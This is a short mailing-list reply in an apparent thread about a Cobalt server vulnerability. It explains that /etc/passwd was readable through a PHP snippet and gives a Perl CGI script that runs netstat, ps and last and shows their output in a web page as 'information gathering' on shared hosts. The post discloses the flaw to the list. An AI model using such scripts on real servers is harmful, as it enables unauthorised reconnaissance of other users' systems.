Re: [cobalt-users] MAJOR BUG, Browse any directory view any file

["Fragga" <fragga@xxxxxxxxxxxx>]

> when I tried the php code I received output but no passwords are
displayed..
>
> only lines like this:
> admin:x:500:100:Administrator:/home/.users/112/admin:/bin/bash

ya passwords are shadowd /etc/shadow holds the passes, this isnt world
readable.
however its just a demonstration that u can exec anything with http privs.

u can run binarys aswell and display output like :

#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "<PRE>";
print `netstat -atnp`;
print "</PRE>";
print "<PRE>";
print `ps -aux`;
print "</PRE>";
print "<PRE>";
print `last`;
print "</PRE>";

Its just examples of information gathering.

if one of your mates has an ftp account with cgi or php enabled from default
then they can gather some pretty helpful info.

fragga